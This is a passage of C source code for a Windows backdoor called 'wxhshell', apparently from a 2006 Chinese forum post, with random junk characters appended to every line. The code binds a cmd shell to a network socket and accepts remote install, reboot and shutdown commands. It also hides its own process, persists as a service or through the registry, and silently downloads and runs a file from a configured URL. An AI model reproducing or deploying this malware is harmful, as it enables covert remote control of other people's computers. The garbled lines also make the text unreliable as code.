  else { /-M@[p&  
'%;\YD9  
    switch(cmd[0]) { >U!*y4  
  WF2-$`x  
  // 帮助 zsQoU&D 5  
  case '?': { 9 c3E+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dr#c)P~Wd  
    break; G}zZQy  
  } _aS;!6b8W  
  // 安装 BlC<`2S  
  case 'i': { G4-z3e,crr  
    if(Install()) ]uh3R{a/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X$n(-65  
    else [ .,>wo~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S?0$?w?  
    break; ,. EBOUW^  
    } lS5ny  
  // 卸载 Me3dpF  
  case 'r': { e@<?zS6  
    if(Uninstall()) Dl\`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nHXX\i  
    else A;X=bj _&a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]$iqa"{  
    break; \,G#<>S  
    } (R}ii}&  
  // 显示 wxhshell 所在路径 'DbMF?<.  
  case 'p': { r7m D{0s*  
    char svExeFile[MAX_PATH]; KW3+luI6  
    strcpy(svExeFile,"\n\r"); 2[yBD-":  
      strcat(svExeFile,ExeFile); }FqA ppr  
        send(wsh,svExeFile,strlen(svExeFile),0); R W/z1  
    break; S=|@L<O  
    } ed!>)Cb  
  // 重启 e /K#>,  
  case 'b': { ?\=/$Gt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gXFWxT8S  
    if(Boot(REBOOT)) mh/n.*E7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .p` pG3  
    else { 2h=%K/hhY  
    closesocket(wsh); E+95WF|4k"  
    ExitThread(0); (=x"Y{%  
    } S_(d9GK<  
    break; "f.Z}AbP  
    } ^rNUAj9Z  
  // 关机 j{++6<tr  
  case 'd': { ~l[r a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7E$&2U^Js  
    if(Boot(SHUTDOWN)) &]6) LFm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y-!YhWsS  
    else { <i\A_qqc/  
    closesocket(wsh); 3Hi+Z}8  
    ExitThread(0); )$GIN/i  
    } c7uG9  
    break; m|tC24  
    } >TL^>D  
  // 获取shell {2d_"lHBt  
  case 's': { Sb2v_o  
    CmdShell(wsh); p&p.Q^"ok  
    closesocket(wsh); 9' 1B/{  
    ExitThread(0); Rg&- 0b  
    break; nwI3|&  
  } '=E9En#@  
  // 退出 5v.DX`"  
  case 'x': { RF}X ER  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K]oM8H1  
    CloseIt(wsh); 5X.ebd;PT  
    break; )P&9A)8  
    } F'P Qqb{  
  // 离开 g:ErZ;[  
  case 'q': { rM}0%J'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R@ Y=o].2  
    closesocket(wsh); ZM#=`k9  
    WSACleanup(); J:dof:q  
    exit(1); @`"AHt  
    break; }ucIH@U{  
        } |k 2"_  
  } I+ l%Sn#\  
  } O>y'Nqz  
D87|q4  
  // 提示信息 &a)eJF]:!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  NW9n  
} sd re#@n}  
  } *4Fr&^M\  
j=+"Qz/hr_  
  return; SS|z*h Z  
} ?^#lWx q  
:& XH?/Wi  
// shell模块句柄 0[A9b,MMVO  
int CmdShell(SOCKET sock) hjx)D  
{ ,1{Ep`  
STARTUPINFO si; k,Qsk d-N]  
ZeroMemory(&si,sizeof(si)); xG&SX#[2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q> :$c0JY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =nUW'  
PROCESS_INFORMATION ProcessInfo; `<"m%>  
char cmdline[]="cmd"; T5Eseesp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?NNn:tiD  
  return 0; '(&%O8Yi  
} " K*  
Oeya%C5'  
// 自身启动模式 1Y xgR}7  
int StartFromService(void) cTZ.}eLh  
{ RuW!*LI  
typedef struct *~$~yM/~3U  
{ _A_ A$N~9  
  DWORD ExitStatus; W{cY6@  
  DWORD PebBaseAddress; =TvzS%U  
  DWORD AffinityMask; ~=r^3nZR/J  
  DWORD BasePriority; [t]X/O3<  
  ULONG UniqueProcessId; X*oMFQgP  
  ULONG InheritedFromUniqueProcessId; (LAXM x  
}   PROCESS_BASIC_INFORMATION; 6X g]/FD  
+0z 7KO%^^  
PROCNTQSIP NtQueryInformationProcess; _+f+`]iM  
,FQdtNMap  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z +2V4s=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zc& &[g  
rPzQ8<  
  HANDLE             hProcess; <pLT'Y=  
  PROCESS_BASIC_INFORMATION pbi; hm$X]H`uMX  
U$&hZ_A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }w-wSkl1  
  if(NULL == hInst ) return 0; TTNk r`  
"L"150Ih  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Poet%XvRx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u9-nt}hGYM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); omZO+=8Q  
-l+P8:fL~  
  if (!NtQueryInformationProcess) return 0; kW=z+  
G*[P <<je_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d4[(8} x$/  
  if(!hProcess) return 0; [}mA`5  
1nj(h g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uw\1b.r'B  
[ANuBNF  
  CloseHandle(hProcess); XP[uF ;w  
1tzV8(7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~.Ik#At  
if(hProcess==NULL) return 0; PrF}a<:n:  
lB8il2&  
HMODULE hMod; wVs.Vcwr  
char procName[255]; pfuW  
unsigned long cbNeeded; b}ODWdJ1  
UAS@R`?cI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]6Ug>>x5  
~0"p*?^  
  CloseHandle(hProcess); q*jNH\|  
#PvB/3  
if(strstr(procName,"services")) return 1; // 以服务启动 3{% LS"c  
RNVbcd  
  return 0; // 注册表启动 "e3["'  
} 5`/@N{e  
Rn%N&1 Ef  
// 主模块 cNpe_LvW  
int StartWxhshell(LPSTR lpCmdLine) wbyE;W  
{ 8$N8}q%  
  SOCKET wsl; S&C1TC  
BOOL val=TRUE; 1x J TWWj-  
  int port=0; FUK3)lT  
  struct sockaddr_in door; !33#. @[  
Rx36?/  
  if(wscfg.ws_autoins) Install(); Q "r_!f  
`pZs T ^G[  
port=atoi(lpCmdLine); ExSe=4q#  
/(I*,.d  
if(port<=0) port=wscfg.ws_port; \b'x t  
#BK9 k>i  
  WSADATA data; C9n}6Er=,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7DW]JK l  
p_*M:P1Ma4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m^%|ZTrwN7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Thy=yz;p  
  door.sin_family = AF_INET; %,@vWmn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Uv_N x10  
  door.sin_port = htons(port); 4W4kwU6D  
>4m'tZ8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WE}kTq  
closesocket(wsl); ;T]d M fO  
return 1; ~pk(L[G  
} :H6FPV78  
wyx(FinIH  
  if(listen(wsl,2) == INVALID_SOCKET) { T[k4lM  
closesocket(wsl); {C`GW}s{4  
return 1; +`mGK:>  
} =+5,B\~q@C  
  Wxhshell(wsl); 75!9FqMZ}  
  WSACleanup(); .Hhhi  
x"kjs.d7[<  
return 0; s6*ilq1  
uxn)R#?  
} K`}{0@ilCw  
)CPM7>  
// 以NT服务方式启动 B@Co'DV[/]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I-D^>\k+  
{ gC%G;-gm  
DWORD   status = 0; ,y`CRlr:  
  DWORD   specificError = 0xfffffff; MfF~8  
_i_Q?w`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BC>=B@H0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =rA~7+}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a/Q$cOs  
  serviceStatus.dwWin32ExitCode     = 0; j*@l"V>~  
  serviceStatus.dwServiceSpecificExitCode = 0; 2Q7R6*<N:  
  serviceStatus.dwCheckPoint       = 0; KT|RF  
  serviceStatus.dwWaitHint       = 0; l} ^3fQXI  
m~#!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w1x" c>1C  
  if (hServiceStatusHandle==0) return; e<7.y#L  
%)jxW{  
status = GetLastError(); 5 S Xn?  
  if (status!=NO_ERROR) f|A riM  
{ _8fr6tO+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _cTh#t ^  
    serviceStatus.dwCheckPoint       = 0; @}_WE,r  
    serviceStatus.dwWaitHint       = 0; +cJy._pi!  
    serviceStatus.dwWin32ExitCode     = status; 7qOa ;^T  
    serviceStatus.dwServiceSpecificExitCode = specificError; _LP/!D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2M<R(W!&  
    return; dG QG!l+>  
  } # ,uya2!)  
84HUBud76Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^m#-9-`  
  serviceStatus.dwCheckPoint       = 0; g,`A[z2  
  serviceStatus.dwWaitHint       = 0; ,y4I[[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O1%pxX'`S  
} ]3ONFa  
^ PI5L  
// 处理NT服务事件,比如:启动、停止 dpQG[vXe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6-`|:[Q~  
{ bQe^Px5 !.  
switch(fdwControl) U<XSj#&8|  
{ kK 8itO  
case SERVICE_CONTROL_STOP: NC&DFJo  
  serviceStatus.dwWin32ExitCode = 0; }(a+aHH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yw _+`,W   
  serviceStatus.dwCheckPoint   = 0; ,1'4o3  
  serviceStatus.dwWaitHint     = 0; a`Gx=8  
  { _'4A|-9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T5urZq*R  
  } U$oduY#  
  return; Z\[N!Zt|  
case SERVICE_CONTROL_PAUSE: ntNI]~z&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r&-m=Kk$  
  break; r "$.4@gc  
case SERVICE_CONTROL_CONTINUE: [c_|ob]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f3`7tA  
  break; p=/m  
case SERVICE_CONTROL_INTERROGATE: at2FmBdu C  
  break; nRd)++  
}; l & Dxg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }b1cLchl  
} >#ZUfm{k$  
(EPsTox  
// 标准应用程序主函数 L(GjZAP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8* Jw0mSw  
{ 8[6o (  
[qsEUc+Z.'  
// 获取操作系统版本 .`?@%{  
OsIsNt=GetOsVer(); TLehdZ>^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Ay"bjZh  
6(P M'@i  
  // 从命令行安装 iQ{G(^sZN  
  if(strpbrk(lpCmdLine,"iI")) Install(); ctcS:<r/3@  
F;^F+H  
  // 下载执行文件 o M Zq+>  
if(wscfg.ws_downexe) { 'vNG(h#%d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $1ndKB8)`J  
  WinExec(wscfg.ws_filenam,SW_HIDE); \W1/p`  
} K\|FQ^#UYm  
H#ClIh?'b  
if(!OsIsNt) { ,AT[@  
// 如果时win9x,隐藏进程并且设置为注册表启动 S6fbf>[  
HideProc(); [z 7bixN  
StartWxhshell(lpCmdLine); >LDhU%bH  
} vTn}*d.K=  
else ToYAW,U[d  
  if(StartFromService()) *2jK#9"MP  
  // 以服务方式启动 irjP>3_e  
  StartServiceCtrlDispatcher(DispatchTable); dO%W+K  
else gCyW Vp  
  // 普通方式启动 orb_"Qw  
  StartWxhshell(lpCmdLine); 2 3gPbtq/  
NVRLrJWpp  
return 0; Sfdu`MQR  
}
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只看该作者 1 发表于: 2006-10-10
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